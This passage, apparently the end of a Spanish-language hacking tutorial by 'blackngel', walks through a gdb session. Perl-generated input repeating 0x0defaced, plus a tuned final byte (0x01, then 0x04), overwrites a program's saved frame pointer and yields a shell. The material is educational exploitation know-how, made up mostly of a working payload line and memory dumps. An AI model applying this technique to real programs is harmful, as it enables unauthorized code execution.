Breakpoint 1, 0x08048490 in main () (gdb) info reg ebp ebp 0xbffff441 0xbffff441 // EBP tocado (gdb) x/24x $ebp 0xbffff441: 0x00b7ffec 0xa8080485 0x50bffff4 0x02b7e8b4 0xbffff451: 0xd4000000 0xe0bffff4 0x38bffff4 0x00b7fe2b 0xbffff461: 0x01000000 0x00000000 0x4a000000 0xf4080482 0xbffff471: 0xe0b7fbff 0x00b7ffec 0xa8000000 0x81bffff4 0xbffff481: 0x91ebe8a0 0x00c5682a 0x00000000 0x00000000 0xbffff491: 0x40000000 0x7db7ff6c 0xf4b7e8b3 0x02b7ffef (gdb) x/24x $ebp-40 0xbffff419: 0xf0bffff4 0xf4080482 0xa4b7fbff 0xe8080496 0xbffff429: 0x50000003 0xf4bffff4 0xe0b7fbff 0xa8b7ffec 0xbffff439: 0x50bffff4 0xe0b7e8b4 0x00b7ffec 0xa8080485 0xbffff449: 0x50bffff4 0x02b7e8b4 0xd4000000 0xe0bffff4 0xbffff459: 0x38bffff4 0x00b7fe2b 0x01000000 0x00000000 0xbffff469: 0x4a000000 0xf4080482 0xe0b7fbff 0x00b7ffec (gdb) x/24x $ebp-80 0xbffff3f1: 0x41414141 0x41414141 0x90bffff4 0x3c080484 0xbffff401: 0x01bffff6 0x1e000000 0xaebffff6 0x19b7ede1 0xbffff411: 0xa4b7f83b 0x28080496 0xf0bffff4 0xf4080482 0xbffff421: 0xa4b7fbff 0xe8080496 0x50000003 0xf4bffff4 0xbffff431: 0xe0b7fbff 0xa8b7ffec 0x50bffff4 0xe0b7e8b4 0xbffff441: 0x00b7ffec 0xa8080485 0x50bffff4 0x02b7e8b4 [-----] Estupendo, en 0xbffff3f1 y 0xbffff3f5 encontramos los ultimos 8 bytes de nuestro buffer atacante. Ese contenido no se movera de ahi, ¿pero que ocurre si acercamos EBP lo maximo posible? ¿Y que si en vez de escribir caracteres "A", repetimos consecutivamente el valor "0x0defaced"? Utilizaremos el byte alterador "0x01", recuerda que "0x00" es un nulo que pone fin a la cadena. [-----] (gdb) run `perl -e 'print "\xed\xac\xef\x0d"x65 . "\x01";'` ... ... Breakpoint 1, 0x08048490 in main () (gdb) info reg ebp ebp 0xbffff401 0xbffff401 (gdb) x/24x $ebp-0x10 0xbffff3f1: 0xed0defac 0xed0defac 0xed0defac 0xed0defac 0xbffff401: 0xed0defac 0xed0defac 0xed0defac 0xed0defac 0xbffff411: 0xed0defac 0x010defac 0x90bffff4 0x50080484 0xbffff421: 0x01bffff6 0x32000000 0xaebffff6 0x19b7ede1 0xbffff431: 0xa4b7f83b 0x48080496 0xf0bffff4 0xf4080482 0xbffff441: 0xa4b7fbff 0xe8080496 0x70000003 0xf4bffff4 [-----] Genial, EBP es [ 0xbffff401 ] y la comparacion consultara [ 0xbffff3f1 ]. Como observamos una desalineacion de 3 posiciones en el valor, tan solo debemos modificar nuestro byte alterador para adaptarlo a la necesidad. Byte definitivo: [ 0x04 ] [-----] (gdb) run `perl -e 'print "\xed\xac\xef\x0d"x65 . "\x04";'` ... ... Breakpoint 1, 0x08048490 in main () (gdb) x/16x $ebp-0x10 0xbffff3f4: 0x0defaced 0x0defaced 0x0defaced 0x0defaced 0xbffff404: 0x0defaced 0x0defaced 0x0defaced 0x0defaced 0xbffff414: 0x0defaced 0xbffff404 0x08048490 0xbffff650 0xbffff424: 0x00000001 0xbffff632 0xb7ede1ae 0xb7f83b19 (gdb) c Continuing. sh-3.2$ [-----] Todo es posible! };-D Con lo que acabamos de ver, quiero hacer notar que en la vida real tambien existen condiciones en las que ciertos programas pueden ser vulnerados y/o explotados. ---[ 4 - Conclusion Este articulo ha venido a demostrar que aun en situaciones limite, existen diversas soluciones que pueden ser aplicadas. Debemos ampliar nuestros horizontes y alzar bien la vista. Puede que a veces las explicaciones hayan parecido "for dummies", pero es la unica forma de acercar estos temas a los principiantes. Y sinceramente, estoy aburrido de leer informacion criptica cuando se puede abordar de un modo mas educativo y/o didactico. Aviso para navegantes: No comprenderas realmente el alcance del problema hasta que te enfrentes directamente con el. Eres tu y solo tu el que debe encontrarse cara a cara con situaciones conflictivas donde las decisiones deben ser tomadas. Como siempre, espero que este articulo haya sido de tu agrado. Un abrazo! blackngel *EOF*